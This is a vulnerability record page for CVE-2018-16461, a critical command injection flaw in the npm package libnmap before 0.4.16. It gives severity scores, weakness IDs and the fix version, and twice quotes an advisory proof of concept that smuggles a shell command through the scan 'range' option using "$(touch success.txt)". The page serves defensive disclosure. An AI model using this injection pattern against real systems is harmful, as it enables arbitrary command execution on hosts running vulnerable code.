CVE-2018-16461
Command Injection in libnmap
A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
9.8
A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.
- Record
CVE-2018-16461- CVSS 3.0
- 9.8 Critical
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 10.0 High
AV:N/AC:L/Au:N/C:C/I:C/A:C - Weakness
- CWE-77, CWE-78
- Updated
- 2026-11-02
CVE List No score
A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.
- Record
CVE-2018-16461- Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2018-0734 No score
A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.
- Record
EUVD-2018-0734- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-7g2w-6r25-2j7p No score
Command Injection in libnmap
Versions of libnmap before 0.4.16 are vulnerable to command injection.
Proof of concept
const nmap = require('libnmap');
const opts = {
range: [
'scanme.nmap.org',
"x.x.$(touch success.txt)"
]
};
nmap.scan(opts, function(err, report) {
if (err) throw new Error(err);
for (let item in report) {
console.log(JSON.stringify(report[item]));
}
});
Recommendation
Update to version 0.4.16 or later
- Record
GHSA-7g2w-6r25-2j7p- Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
9.8
A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.
- Record
CVE-2018-16461- CVSS 3.0
- 9.8 Critical
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-7g2w-6r25-2j7p No score
Command Injection in libnmap
Versions of libnmap before 0.4.16 are vulnerable to command injection.
Proof of concept
const nmap = require('libnmap');
const opts = {
range: [
'scanme.nmap.org',
"x.x.$(touch success.txt)"
]
};
nmap.scan(opts, function(err, report) {
if (err) throw new Error(err);
for (let item in report) {
console.log(JSON.stringify(report[item]));
}
});
Recommendation
Update to version 0.4.16 or later
- Record
GHSA-7g2w-6r25-2j7p- Weakness
- CWE-77
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
libnmapnpm |
before 0.4.16 | 0.4.16 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, products | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2018-16461 is a critical vulnerability (CVSS 9.8) in Libnmap, published October 30, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 3.85%, the 90th percentile. Fixed in libnmap 0.4.16.